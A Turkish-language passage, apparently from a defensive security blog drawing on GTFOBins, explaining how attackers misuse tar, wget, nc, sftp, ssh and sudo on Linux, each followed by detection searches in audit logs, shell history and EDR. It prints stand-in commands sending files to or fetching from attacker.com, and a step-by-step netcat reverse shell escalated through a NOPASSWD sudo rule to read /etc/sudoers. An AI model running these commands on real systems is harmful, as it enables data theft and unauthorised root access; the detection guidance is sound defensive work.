Tar uygulaması *nix sistemlerinde oluşturma veya arşivden çıkarma gibi işlemler için kullanılır. Bu komut, arşivlemenin uygulanacağı uzak hedef konumu belirleme yeteneğine sahiptir. Bu sayede veriler arşivlenirken uzak bir lokasyonda arşiv oluşturulabilmektedir. Arşivi oluştururken uzak konumu ssh üzerinden oluşturur. Aşağıdaki örnekte olduğu gibi tar komutu “cvf” parametresi ile arşiv oluşturur. Arşivin oluşturulacağı lokasyon olarak uzak lokasyon user@target_system:/archive_file olarak belirlenir. Aynı zamanda -rsh-command parametresi uzak sisteme erişim türünü belirtir. Bu sayede arşivlenen verilerin ssh aracılığıyla doğrudan uzak bir lokasyonda oluşturulması sağlanır.
# RHOST=attacker.com # RUSER=root # RFILE=/tmp/file_to_send.tar # LFILE=file_to_send # tar cvf $RUSER@$RHOST:$RFILE $LFILE –rsh-command=/bin/ssh |
Tespit için; Tar komutunun -rsh-command parametresi ile kullanımı yakından takip edilmelidir. Ayrıca dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı da sorgulanmalıdır.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “tar” | grep “\-\-rsh\-command” – Linux sistemindeki geçmişten aranabilir. # history | grep “tar” | grep “\-\-rsh\-command” veya # cat ~/.bash_history | grep “tar” | grep “\-\-rsh\-command” – EDR/XDR günlüklerindeki “tar” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırından “–rsh-command” parametresi kontrol edilir. |
Dosya indirme
Saldırganlar, ele geçirdikleri sistemler üzerinde farklı faaliyetler (yanal hareket, veri şifreleme, ayrıcalık yükseltme vb.) gerçekleştirmek için mutlaka çeşitli dosyalar indirmek isteyeceklerdir. Bu gibi durumlarda *nix sistemlerinde yararlanabilecekleri hukuki uygulamaları ele alacağız. Bu uygulamaları, işlevlerini ve bu uygulamaların şüpheli kullanımlarını detaylandıracağız.
Not: Aşağıdaki komutların tamamı “Dosya Yükleme” işlemlerinde de kullanılabilir.
# wget komutu
Wget bir dosya yükleme/indirme aracıdır. HTTP, HTTPS, FTP gibi protokolleri destekler. wget komutunu -O parametresiyle birlikte kullanarak, belirtilen hedefteki dosya dizin/dosya olarak indirilebilir.
# URL=http://attacker.com/file_to_get # LFILE=file_to_save # wget $URL -O $LFILE |
Tespit için; “-O” parametresi ile birlikte wget komutunun kullanımı da yakından takip edilmektedir. Ayrıca dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı da sorgulanmalıdır.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “wget” | grep “\-O” – Linux sistemindeki geçmişten aranabilir. # history |grep “wget” | grep “\-O” veya # cat ~/.bash_history | grep “wget” | grep “\-O” – EDR/XDR günlüklerindeki “wget” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. |
#nc komutu
Nc (netcat) uygulaması, tcp veya udp protokollerini kullanarak ağ üzerinden veri okuyan ve yazan basit bir *nix uygulamasıdır. Bu sayede dosya aktarım işlemlerini de gerçekleştirebilmektedir.
Test için, uzak sistemde “file_to_send” dosyasını hedefin 12345 bağlantı noktasına gönderecek olan aşağıdaki komutu çalıştırın.
nc target.com 12345 < “file_to_send” |
Dosyanın indirileceği hedef sistemde çalıştırılması gereken komutlar aşağıdaki gibidir. 12345 numaralı bağlantı noktasına yapılan isteklerin çıktısı “file_to_save” dosyasına kaydedilir ve dosya yerel sisteme uzaktan indirilmeye hazırdır.
# LPORT=12345 # LFILE=file_to_save # nc -l -p $LPORT > “$LFILE” |
Tespit için; nc komutunun “-l” parametresi ve “>” operatörünün kullanım durumu izlenmelidir.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “nc” | grep “-l”
– Linux sistemindeki geçmişten aranabilir.
# history |grep “nc” | grep “-l”
veya
# cat ~/.bash_history | grep “nc” | grep “-l”
– EDR/XDR günlüklerindeki “nc” işlem oluşturma veya ağ bağlantısı olaylarından aranabilir.
#sftp komutu
sftp , güvenli dosya aktarımı için kullanılan bir protokoldür. SSH üzerinden etkileşimli (bkz. 3.Komut) dosya aktarımı sağlar. Hedef sisteme bağlandıktan sonra “get” komutu ile hedef sistem üzerinde dosya indirme işlemi gerçekleştirilir.
# RHOST=user@attacker.com
# sftp $RHOST
# get file_to_get file_to_save
Tespit için; “get” parametresi ile sftp kullanımı yakından takip edilmelidir. Ayrıca dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı da sorgulanmalıdır.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “sftp” – Linux sistemindeki geçmişten aranabilir. # history | grep “sftp” veya # cat ~/.bash_history | grep “sftp” – EDR/XDR günlüklerindeki “sftp” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. |
#ssh komutu
Ssh uygulaması temel olarak uzak bir sisteme bağlanmak veya uzak bir sistemde komutları çalıştırmak için kullanılır. Uzak sistem üzerinde komut çalıştırma özelliği, “Dosya İndirme” veya “Dosya Yükleme” gibi işlemler için kullanılabilir. ssh komutu aşağıdaki örnekte görebileceğiniz gibi uzak sisteme bağlandıktan sonra “cat” komutu ile indirilecek dosyayı görüntüler. Daha sonra “>” fonksiyonunu kullanarak verileri ekrana yazdırmadan yerel bir dosyaya yazdırır. Ssh komutu ile “Dosya İndirme” işlemi bu şekilde gerçekleştirilir.
# HOST=user@attacker.com # RPATH=file_to_get # LPATH=file_to_save # ssh $HOST “cat $RPATH” > $LPATH |
Tespit için; Ssh komutunun devamında komut satırındaki “>” operatörünün kullanımı veya “cat, tac” gibi dosya görüntüleme araçlarının kullanım durumları yakından takip edilmektedir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “ssh” – Linux sistemindeki geçmişten aranabilir. # history| grep “ssh” veya # cat ~/.bash_history | grep “ssh” – EDR/XDR günlüklerindeki “ssh” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. |
Sudo
Sudo komutu, *nix sistemlerinde “süper kullanıcı” (root) veya farklı kullanıcı haklarına sahip mevcut uygulamaları/komutları çalıştırmak için kullanılan uygulamadır. Saldırganlar ele geçirdikleri sistemlerdeki yetki kısıtlamalarına takılıp kaldıkları durumlarda sudo komutu ile ikili dosyaları çalıştırabilirler. Dolayısıyla GTFOBins içerisinde en fazla komutun yer aldığı kategoridir.
Yukarıda da bahsettiğimiz gibi hemen hemen her komut bu kategori altında değerlendiriliyor ve tek bir örnekle Sudo komutunun temellerini detaylı olarak ele alacağız.
#nc komutu
Nc (netcat) uygulaması , TCP veya UDP protokollerini kullanarak ağ üzerinden veri okuyan ve yazan basit bir *nix uygulamasıdır. Diğer bazı kategoriler altında da çeşitli kullanımlardan bahsedilmiştir.
Bu uygulama için saldırgan ve kurban sistemi olmak üzere 2 sistem bulunmaktadır.
Yanlış yapılandırılmış veya aşırı verilen sudo ayrıcalıklarının olumsuz sonuçlarına bir örnek;
Aşama 1
port 12345 portu saldırganın sistemindeki nc uygulaması tarafından dinleniyor.
# nc -l -p 12345 |
Adım 2
Mağdurun sisteminde yetkisiz bir kullanıcı tarafından çalıştırılan nc (netcat) ile saldırganın sistemine ters bağlantı kurulur.
(-e /bin/bash, saldırganın bash kabuğunda gönderdiği komutları çalıştıracaktır.)
$ whoami Letsdef $ nc hedef_IP 12345 -e /bin/bash |
Aşama 3
Saldırgan sistem elde ettiği ters bağlantı üzerinden /etc/sudoers dosyasını görüntülemek istemektedir. Ancak kurban makinede nc çalıştıran Letsdef kullanıcısının /etc/sudoers dosyasını görüntüleme izni olmadığı için “cat: /etc/sudoers: İzin reddedildi” şeklinde yanıt verir.
# nc -l -p 12345 > cat /etc/sudoers Kurban tarafındaki çıktı; cat: /etc/sudoers: İzin reddedildi |
4. Adım
Saldırgan, kurbanın sistemini ele geçirmek için kullanılan kullanıcı hesabının ayrıcalıklarını kontrol eder. Saldırgan “sudo -l” komutunu kullanarak sudo ile çalıştırabileceği komutları listeleyebilir. Bu listeye göre nc uygulamasını sudo olarak çalıştırabileceğini öğrenir.
$ sudo -l (kök) NOPASSWD: /usr/bin/nc |
Adım 5
Saldırgan kurbanın sisteminde “nc”yi sudo ile yeniden çalıştırır.
$sudo nc hedef_IP 12345 -e /bin/bash |
Adım 6
Saldırgan, komut merkezi üzerinden “cat /etc/sudoers” komutunu yeniden çalıştırır ve artık ilgili dosya içeriğini görüntüleyebilmektedir.
# nc -l -p 12345 > cat /etc/sudoers ## Sudoers , belirli kullanıcıların ## root şifresine ihtiyaç duymadan root kullanıcı olarak çeşitli komutları çalıştırmasına olanak tanır . . . . …. |
Özet
Saldırganın ele geçirdiği sistem üzerinde komuta merkezine erişmek için kullanıcı haklarıyla “nc” çalıştırdığı için komuta merkezinden gönderilen komutlar kısıtlı yetkilendirme hatası aldı. Sistemi yöneten yönetici, “letsdef” kullanıcısına yalnızca “sudo” ayrıcalıklarına sahip “nc” uygulamasına izin vermesine rağmen, saldırgan, diğer tüm aktivitelerini yetkili kullanıcı haklarıyla çalıştırabilecek şekilde manipüle etmiştir. “nc”yi sudo olarak çalıştırarak elde ettiği revers_shell üzerinden gönderdiği tüm komutlar sudo ayrıcalıklarıyla çalıştırılıyordu.
Tespit için; Sudo komutunun kullanımı yakından izlenmelidir. Çok fazla aktivite olabileceği ihtimaline karşı bilinen kullanım durumları hariç tutulmalıdır. Ayrıca sistemde sudo haklarının tanımlanması durumu izlenebilir/kontrol edilebilir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “sudo” – Linux sistemindeki geçmişten aranabilir. # history |grep “sudo” veya # cat ~/.bash_history |grep “sudo” – EDR/XDR günlüklerinde olaylar oluşturan “sudo” işleminden aranabilir. – /etc/sudoers dosyasının düzenlenmesi izlenebilir. – visudo komutunun kullanımı izlenebilir. |